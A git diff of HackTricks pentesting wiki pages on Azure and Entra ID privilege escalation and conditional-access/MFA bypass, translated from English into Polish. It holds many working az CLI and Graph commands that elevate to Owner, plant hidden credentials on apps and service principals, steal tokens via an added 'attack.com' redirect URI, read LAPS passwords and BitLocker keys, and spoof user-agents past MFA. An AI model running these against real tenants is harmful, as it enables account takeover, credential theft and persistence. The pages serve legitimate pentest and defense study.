Azure resources. +To uprawnienie pozwala na podniesienie uprawnień i możliwość przypisania uprawnień do dowolnego podmiotu do zasobów Azure. Jest przeznaczone dla Globalnych Administratorów Entra ID, aby mogli również zarządzać uprawnieniami do zasobów Azure. > [!TIP] -> I think the user need to be Global Administrator in Entrad ID for the elevate call to work. - +> Myślę, że użytkownik musi być Globalnym Administratorem w Entra ID, aby wywołanie elevate działało. ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -58,29 +51,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au # Grant a user the Owner role az role assignment create --assignee "" --role "Owner" --scope "/" ``` - ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**. - -Example command to give access to a repo in Github to the a managed identity: +To uprawnienie pozwala na dodanie poświadczeń federacyjnych do zarządzanych tożsamości. Np. przyznanie dostępu do Github Actions w repozytorium dla zarządzanej tożsamości. Następnie pozwala na **dostęp do dowolnej zdefiniowanej przez użytkownika zarządzanej tożsamości**. +Przykładowa komenda, aby przyznać dostęp do repozytorium w Github dla zarządzanej tożsamości: ```bash # Generic example: az rest --method PUT \ - --uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ - --headers "Content-Type=application/json" \ - --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' +--uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ +--headers "Content-Type=application/json" \ +--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' # Example with specific data: az rest --method PUT \ - --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ - --headers "Content-Type=application/json" \ - --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' +--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ +--headers "Content-Type=application/json" \ +--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 940e80bce..269623af9 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,80 +3,71 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.** +> Zauważ, że **nie wszystkie szczegółowe uprawnienia** wbudowanych ról w Entra ID **są kwalifikowane do użycia w rolach niestandardowych.** -## Roles +## Role -### Role: Privileged Role Administrator +### Rola: Administrator Ról Uprzywilejowanych -This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges. - -- Assign role to a user: +Ta rola zawiera niezbędne szczegółowe uprawnienia, aby móc przypisywać role do podmiotów i przyznawać więcej uprawnień rolom. Obie te akcje mogą być nadużywane w celu eskalacji uprawnień. +- Przypisz rolę użytkownikowi: ```bash # List enabled built-in roles az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directoryRoles" +--uri "https://graph.microsoft.com/v1.0/directoryRoles" # Give role (Global Administrator?) to a user roleId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \ - --headers "Content-Type=application/json" \ - --body "{ - \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" - }" +--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \ +--headers "Content-Type=application/json" \ +--body "{ +\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" +}" ``` - -- Add more permissions to a role: - +- Dodaj więcej uprawnień do roli: ```bash # List only custom roles az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' +--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' # Change the permissions of a custom role az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/" \ - --headers "Content-Type=application/json" \ - --body '{ - "description": "Update basic properties of application registrations", - "rolePermissions": [ - { - "allowedResourceActions": [ - "microsoft.directory/applications/credentials/update" - ] - } - ] - }' +--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/" \ +--headers "Content-Type=application/json" \ +--body '{ +"description": "Update basic properties of application registrations", +"rolePermissions": [ +{ +"allowedResourceActions": [ +"microsoft.directory/applications/credentials/update" +] +} +] +}' ``` - -## Applications +## Aplikacje ### `microsoft.directory/applications/credentials/update` -This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges. - +To pozwala atakującemu na **dodanie poświadczeń** (haseł lub certyfikatów) do istniejących aplikacji. Jeśli aplikacja ma uprzywilejowane uprawnienia, atakujący może uwierzytelnić się jako ta aplikacja i uzyskać te uprawnienia. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append # Generate a new certificate without overwritting old ones az ad app credential reset --id --create-cert ``` - ### `microsoft.directory/applications.myOrganization/credentials/update` -This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications. - +To pozwala na te same działania co `applications/credentials/update`, ale ograniczone do aplikacji w pojedynczej domenie. ```bash az ad app credential reset --id --append ``` - ### `microsoft.directory/applications/owners/update` -By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions. - +Dodając się jako właściciel, atakujący może manipulować aplikacją, w tym danymi uwierzytelniającymi i uprawnieniami. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -84,78 +75,66 @@ az ad app credential reset --id --append # You can check the owners with az ad app owner list --id ``` - ### `microsoft.directory/applications/allProperties/update` -An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything. - -Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions. +Atakujący może dodać URI przekierowania do aplikacji, które są używane przez użytkowników najemcy, a następnie udostępnić im adresy URL logowania, które wykorzystują nowe URI przekierowania w celu kradzieży ich tokenów. Należy zauważyć, że jeśli użytkownik był już zalogowany w aplikacji, uwierzytelnienie odbędzie się automatycznie, bez potrzeby akceptacji czegokolwiek przez użytkownika. +Należy również zauważyć, że możliwe jest zmienienie uprawnień, o które prosi aplikacja, aby uzyskać więcej uprawnień, ale w tym przypadku użytkownik będzie musiał ponownie zaakceptować monit o wszystkie uprawnienia. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` - ## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges. - +To pozwala atakującemu na dodanie poświadczeń do istniejących głównych usług. Jeśli główny usług ma podwyższone uprawnienia, atakujący może przyjąć te uprawnienia. ```bash az ad sp credential reset --id --append ``` - > [!CAUTION] -> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\ -> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` - -If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute: +> Nowo wygenerowane hasło nie pojawi się w konsoli internetowej, więc może to być sposób na zachowanie trwałości w usłudze principal.\ +> Można je znaleźć w API za pomocą: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +Jeśli otrzymasz błąd `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, to dlatego, że **nie można modyfikować właściwości passwordCredentials** SP i najpierw musisz ją odblokować. Aby to zrobić, potrzebujesz uprawnienia (`microsoft.directory/applications/allProperties/update`), które pozwala na wykonanie: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` - ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges. - +To pozwala atakującemu na dodanie poświadczeń do istniejących głównych usług. Jeśli główny serwis ma podwyższone uprawnienia, atakujący może przyjąć te uprawnienia. ```bash az ad sp credential reset --id --append ``` - ### `microsoft.directory/servicePrincipals/owners/update` -Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions. - +Podobnie jak w przypadku aplikacji, to uprawnienie pozwala na dodanie kolejnych właścicieli do głównego obiektu usługi. Posiadanie głównego obiektu usługi umożliwia kontrolę nad jego poświadczeniami i uprawnieniami. ```bash # Add new owner spId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \ - --headers "Content-Type=application/json" \ - --body "{ - \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" - }" +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \ +--headers "Content-Type=application/json" \ +--body "{ +\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" +}" az ad sp credential reset --id --append # You can check the owners with az ad sp owner list --id ``` - > [!CAUTION] -> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**. +> Po dodaniu nowego właściciela, próbowałem go usunąć, ale API odpowiedziało, że metoda DELETE nie jest obsługiwana, nawet jeśli to metoda, której należy użyć do usunięcia właściciela. Więc **nie możesz obecnie usuwać właścicieli**. -### `microsoft.directory/servicePrincipals/disable` and `enable` +### `microsoft.directory/servicePrincipals/disable` i `enable` -These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges. - -Note that for this technique the attacker will need more permissions in order to take over the enabled service principal. +Te uprawnienia pozwalają na wyłączenie i włączenie zasad usług. Atakujący mógłby wykorzystać to uprawnienie, aby włączyć zasadę usług, do której mógłby jakoś uzyskać dostęp, aby eskalować uprawnienia. +Należy zauważyć, że w tej technice atakujący będzie potrzebował więcej uprawnień, aby przejąć włączoną zasadę usług. ```bash bashCopy code# Disable az ad sp update --id --account-enabled false @@ -163,11 +142,9 @@ az ad sp update --id --account-enabled false # Enable az ad sp update --id --account-enabled true ``` - #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications. - +Te uprawnienia pozwalają na tworzenie i uzyskiwanie poświadczeń do jednolitych logowań, co może umożliwić dostęp do aplikacji firm trzecich. ```bash # Generate SSO creds for a user or a group spID="" @@ -175,176 +152,155 @@ user_or_group_id="" username="" password="" az rest --method POST \ - --uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \ - --headers "Content-Type=application/json" \ - --body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}" +--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \ +--headers "Content-Type=application/json" \ +--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}" # Get credentials of a specific credID credID="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \ - --headers "Content-Type=application/json" \ - --body "{\"id\": \"$credID\"}" +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \ +--headers "Content-Type=application/json" \ +--body "{\"id\": \"$credID\"}" ``` - --- -## Groups +## Grupy ### `microsoft.directory/groups/allProperties/update` -This permission allows to add users to privileged groups, leading to privilege escalation. - +To uprawnienie pozwala na dodawanie użytkowników do uprzywilejowanych grup, co prowadzi do eskalacji uprawnień. ```bash az ad group member add --group --member-id ``` - -**Note**: This permission excludes Entra ID role-assignable groups. +**Uwaga**: To uprawnienie wyklucza grupy przypisane do ról Entra ID. ### `microsoft.directory/groups/owners/update` -This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group. - +To uprawnienie pozwala stać się właścicielem grup. Właściciel grupy może kontrolować członkostwo i ustawienia grupy, potencjalnie eskalując uprawnienia do grupy. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` - -**Note**: This permission excludes Entra ID role-assignable groups. +**Uwaga**: To uprawnienie wyklucza grupy przypisane do ról Entra ID. ### `microsoft.directory/groups/members/update` -This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access. - +To uprawnienie pozwala na dodanie członków do grupy. Atakujący mógłby dodać siebie lub złośliwe konta do uprzywilejowanych grup, co może przyznać podwyższone uprawnienia. ```bash az ad group member add --group --member-id ``` - ### `microsoft.directory/groups/dynamicMembershipRule/update` -This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition. - +To uprawnienie pozwala na aktualizację reguły członkostwa w grupie dynamicznej. Atakujący mógłby zmodyfikować dynamiczne reguły, aby włączyć siebie do uprzywilejowanych grup bez wyraźnego dodania. ```bash groupId="" az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/groups/$groupId" \ - --headers "Content-Type=application/json" \ - --body '{ - "membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")", - "membershipRuleProcessingState": "On" - }' +--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \ +--headers "Content-Type=application/json" \ +--body '{ +"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")", +"membershipRuleProcessingState": "On" +}' ``` +**Uwaga**: To uprawnienie wyklucza grupy przypisywalne do ról Entra ID. -**Note**: This permission excludes Entra ID role-assignable groups. +### Privesc grup dynamicznych -### Dynamic Groups Privesc - -It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check: +Możliwe, że użytkownicy mogą eskalować uprawnienia, modyfikując swoje własne właściwości, aby zostać dodanymi jako członkowie grup dynamicznych. Więcej informacji znajdziesz w: {{#ref}} dynamic-groups.md {{#endref}} -## Users +## Użytkownicy ### `microsoft.directory/users/password/update` -This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles. - +To uprawnienie pozwala na resetowanie hasła dla użytkowników niebędących administratorami, co umożliwia potencjalnemu atakującemu eskalację uprawnień do innych użytkowników. To uprawnienie nie może być przypisane do niestandardowych ról. ```bash az ad user update --id --password "kweoifuh.234" ``` - ### `microsoft.directory/users/basic/update` -This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges. - +To uprawnienie pozwala na modyfikację właściwości użytkownika. Często można znaleźć dynamiczne grupy, które dodają użytkowników na podstawie wartości właściwości, dlatego to uprawnienie może pozwolić użytkownikowi na ustawienie wymaganej wartości właściwości, aby stać się członkiem konkretnej dynamicznej grupy i eskalować uprawnienia. ```bash #e.g. change manager of a user victimUser="" managerUser="" az rest --method PUT \ - --uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}' +--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}' #e.g. change department of a user az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/users/$victimUser" \ - --headers "Content-Type=application/json" \ - --body "{\"department\": \"security\"}" +--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \ +--headers "Content-Type=application/json" \ +--body "{\"department\": \"security\"}" ``` +## Polityki dostępu warunkowego i obejście MFA -## Conditional Access Policies & MFA bypass - -Misconfigured conditional access policies requiring MFA could be bypassed, check: +Źle skonfigurowane polityki dostępu warunkowego wymagające MFA mogą być obejście, sprawdź: {{#ref}} az-conditional-access-policies-mfa-bypass.md {{#endref}} -## Devices +## Urządzenia ### `microsoft.directory/devices/registeredOwners/update` -This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data. - +To uprawnienie pozwala atakującym na przypisanie siebie jako właścicieli urządzeń w celu uzyskania kontroli lub dostępu do ustawień i danych specyficznych dla urządzenia. ```bash deviceId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' +--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' ``` - ### `microsoft.directory/devices/registeredUsers/update` -This permission allows attackers to associate their account with devices to gain access or to bypass security policies. - +To uprawnienie pozwala atakującym na powiązanie swojego konta z urządzeniami, aby uzyskać dostęp lub obejść polityki bezpieczeństwa. ```bash deviceId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' +--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' ``` - ### `microsoft.directory/deviceLocalCredentials/password/read` -This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password - +To uprawnienie pozwala atakującym na odczytanie właściwości zapasowych poświadczeń lokalnego konta administratora dla urządzeń dołączonych do Microsoft Entra, w tym hasła. ```bash # List deviceLocalCredentials az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials" +--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials" # Get credentials deviceLC="" az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \ +--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \ ``` - ## BitlockerKeys ### `microsoft.directory/bitlockerKeys/key/read` -This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality. - +To uprawnienie pozwala na dostęp do kluczy BitLocker, co może umożliwić atakującemu odszyfrowanie dysków, naruszając poufność danych. ```bash # List recovery keys az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys" +--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys" # Get key recoveryKeyId="" az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" +--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` - -## Other Interesting permissions (TODO) +## Inne interesujące uprawnienia (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` @@ -355,7 +311,3 @@ az rest --method GET \ - `microsoft.directory/applications.myOrganization/permissions/update` {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 27bf965d0..a4840cf76 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,72 +1,70 @@ -# Az - Conditional Access Policies & MFA Bypass +# Az - Polityki dostępu warunkowego i obejście MFA {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\ -Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**. +Polityki dostępu warunkowego w Azure to zasady ustalone w Microsoft Azure, które wymuszają kontrole dostępu do usług i aplikacji Azure na podstawie określonych **warunków**. Polityki te pomagają organizacjom zabezpieczyć swoje zasoby, stosując odpowiednie kontrole dostępu w odpowiednich okolicznościach.\ +Polityki dostępu warunkowego zasadniczo **określają** **Kto** może uzyskać dostęp do **Czego** z **Gdzie** i **Jak**. -Here are a couple of examples: +Oto kilka przykładów: -1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication. -2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version. +1. **Polityka ryzyka logowania**: Ta polityka może być ustawiona na wymóg wieloskładnikowej autoryzacji (MFA), gdy wykryte zostanie ryzyko logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu do jego regularnego wzorca, na przykład logowanie z innego kraju, system może poprosić o dodatkową autoryzację. +2. **Polityka zgodności urządzeń**: Ta polityka może ograniczyć dostęp do usług Azure tylko do urządzeń, które są zgodne z normami bezpieczeństwa organizacji. Na przykład, dostęp może być dozwolony tylko z urządzeń, które mają aktualne oprogramowanie antywirusowe lub działają na określonej wersji systemu operacyjnego. -## Conditional Acces Policies Bypasses +## Obejścia polityk dostępu warunkowego -It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it. +Możliwe jest, że polityka dostępu warunkowego **sprawdza pewne informacje, które można łatwo zmanipulować, co pozwala na obejście polityki**. A jeśli na przykład polityka konfigurowała MFA, atakujący będzie mógł ją obejść. -When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps). +Podczas konfigurowania polityki dostępu warunkowego należy wskazać **użytkowników** objętych polityką oraz **docelowe zasoby** (jak wszystkie aplikacje w chmurze). -It's also needed to configure the **conditions** that will **trigger** the policy: +Należy również skonfigurować **warunki**, które będą **wyzwalać** politykę: -- **Network**: Ip, IP ranges and geographical locations - - Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address -- **Microsoft risks**: User risk, Sign-in risk, Insider risk -- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux - - If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms -- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients” - - To bypass login with a not selected option -- **Filter for devices**: It’s possible to generate a rule related the used device -- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer” - - This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account +- **Sieć**: IP, zakresy IP i lokalizacje geograficzne +- Można to obejść, używając VPN lub Proxy, aby połączyć się z krajem lub logując się z dozwolonego adresu IP +- **Ryzyka Microsoftu**: Ryzyko użytkownika, ryzyko logowania, ryzyko wewnętrzne +- **Platformy urządzeń**: Dowolne urządzenie lub wybierz Android, iOS, Windows Phone, Windows, macOS, Linux +- Jeśli nie wybrano „Dowolne urządzenie”, ale wszystkie inne opcje są zaznaczone, można to obejść, używając losowego user-agenta, który nie jest związany z tymi platformami +- **Aplikacje klienckie**: Opcje to „Przeglądarka”, „Aplikacje mobilne i klienci desktopowi”, „Klienci Exchange ActiveSync” i „Inne klienci” +- Aby obejść logowanie z nie wybraną opcją +- **Filtr dla urządzeń**: Możliwe jest wygenerowanie reguły związanej z używanym urządzeniem +- **Przepływy autoryzacji**: Opcje to „Przepływ kodu urządzenia” i „Transfer autoryzacji” +- To nie wpłynie na atakującego, chyba że próbuje nadużyć któregokolwiek z tych protokołów w próbie phishingu, aby uzyskać dostęp do konta ofiary -The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant… +Możliwe **wyniki** to: Zablokuj lub Przyznaj dostęp z potencjalnymi warunkami, takimi jak wymóg MFA, zgodność urządzenia... -### Device Platforms - Device Condition +### Platformy urządzeń - Warunek urządzenia -It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block: +Możliwe jest ustawienie warunku na podstawie **platformy urządzenia** (Android, iOS, Windows, macOS...), jednak opiera się to na **user-agencie**, więc łatwo to obejść. Nawet **wymuszając wszystkie opcje MFA**, jeśli użyjesz **user-agenta, który nie jest rozpoznawany**, będziesz mógł obejść MFA lub blokadę:
-Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\ -You can change the user agent **manually** in the developer tools: +Wystarczy, że przeglądarka **wyśle nieznany user-agent** (jak `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`), aby nie wywołać tego warunku.\ +Możesz ręcznie zmienić user-agenta w narzędziach dewelopera:
- Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). + Lub użyć [rozszerzenia przeglądarki takiego jak to](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). -### Locations: Countries, IP ranges - Device Condition +### Lokalizacje: Kraje, zakresy IP - Warunek urządzenia -If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions. +Jeśli to jest ustawione w polityce warunkowej, atakujący może po prostu użyć **VPN** w **dozwolonym kraju** lub spróbować znaleźć sposób na dostęp z **dozwolonego adresu IP**, aby obejść te warunki. -### Cloud Apps +### Aplikacje w chmurze -It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**: +Możliwe jest skonfigurowanie **polityk dostępu warunkowego, aby zablokować lub wymusić** na przykład MFA, gdy użytkownik próbuje uzyskać dostęp do **konkretnej aplikacji**:
-To try to bypass this protection you should see if you can **only into any application**.\ -The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful. - -In order to **test specific application IDs in specific resources** you could also use a tool such as: +Aby spróbować obejść tę ochronę, powinieneś sprawdzić, czy możesz **zalogować się tylko do dowolnej aplikacji**.\ +Narzędzie [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ma **dziesiątki identyfikatorów aplikacji wbudowanych** i spróbuje się do nich zalogować, informując cię o tym i nawet dając token, jeśli się powiedzie. +Aby **przetestować konkretne identyfikatory aplikacji w konkretnych zasobach**, możesz również użyć narzędzia takiego jak: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` - Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also. The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained. @@ -87,7 